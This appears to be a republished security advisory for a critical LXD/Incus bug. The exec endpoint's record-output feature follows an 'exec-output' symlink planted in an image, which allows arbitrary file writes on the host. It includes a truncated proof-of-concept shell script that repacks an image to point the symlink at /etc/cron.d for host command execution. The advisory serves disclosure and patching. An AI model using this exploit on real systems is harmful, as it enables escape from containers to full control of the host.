- Severity: CRITICAL
- Ecosystems: go
- Packages: github.com/canonical/lxd
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
### Summary
The `record-output` parameter of the `/instances/$name/exec` endpoint
stores the output of the command in the `exec-output` directory of the
instance. If `exec-output` is a symlink, file named `exec_UUID.stdout`
and `exec_UUID.stderr` can be written to an arbitrary location where
the `.stdout` file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
### Details
When an image is unpacked, top-level symlinks are extracted as is;
allowing for `exec-output` to be placed on disk. In `instance_exec.go`,
`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows
the `exec-output` symlink.
### PoC
Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.
“`
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp=”${1}”
die() {
printf ‘%s’ “${@}” >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die ‘error: curl not found\n’
command -v python3 >/dev/null 2>&1 || die ‘error: python3 not found\n’
tmpdir=$(mktemp -d)
cleanup() {
rm -rf “${tmpdir}”
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export “${basefp}” “${tmpdir}/img”
mkdir “${tmpdir}/repack”
cd “${tmpdir}/repack”
xz -cd “${tmpdir}/img” | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >”${tmpdir}/img”
cd – >/dev/null
incus image import “${tmpdir}”/i…
Source: GitHub Security Advisories · 2026-11-06